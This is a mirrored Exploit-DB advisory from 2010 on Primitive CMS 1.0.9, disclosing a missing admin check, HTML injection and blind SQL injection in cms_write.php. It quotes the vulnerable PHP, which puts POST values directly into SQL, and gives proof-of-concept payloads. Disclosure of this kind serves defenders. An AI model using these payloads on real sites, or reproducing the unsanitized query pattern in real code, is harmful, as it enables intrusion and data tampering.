primitive CMS 1.0.9 – Multiple Vulnerabilities - 体验盒子

作者： Stephan Sattler

日期： 2010-09-20

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15064/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

# Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities

# Date: 20.09.2010

# Author: Stephan Sattler // Solidmedia.de

# Software Website: http://www.bouzouste.info/

# Software Link: http://www.bouzouste.info/link/click.php?id=1

# Version: 1.0.9

[Vulnerability 1]

# Unauthorized Access

Url: http://[site]/[cmspath]/cms_write.php

In cms_write.php is no check if the user has administration rights.

Because of that, there are 2 more vulnerabilities.

[Vulnerability 2]

# Html Injection

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-25):

$title=$_POST[title];

$content=$_POST[content];

$menutitle=$_POST[menutitle];

$sql="INSERT INTO <code>prim_page</code> ( <code>id</code> , <code>title</code> , <code>content</code>, <code>menutitle</code> ) VALUES ('', '$title', '$content', '$menutitle')";

mysql_query($sql);

The title, Menu-titleand Content a user can submit are inserted directly into

the database and inserted in the html-code on the page without

and sanitizing at all.

Example for the Title: </title><h1>Testtitle</h1>

Example for the Menu-Title: </a><h2>Menutitle</h2>

[Vulnerability 3]

# Blind SQL-Injection // PoC

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-16):

$title=$_POST[title];

$menutitle=$_POST[menutitle];

$sqlcheck="SELECT * FROM prim_page WHERE title='$title' or menutitle='$menutitle' ";

Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK

One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: "H selida yparxei"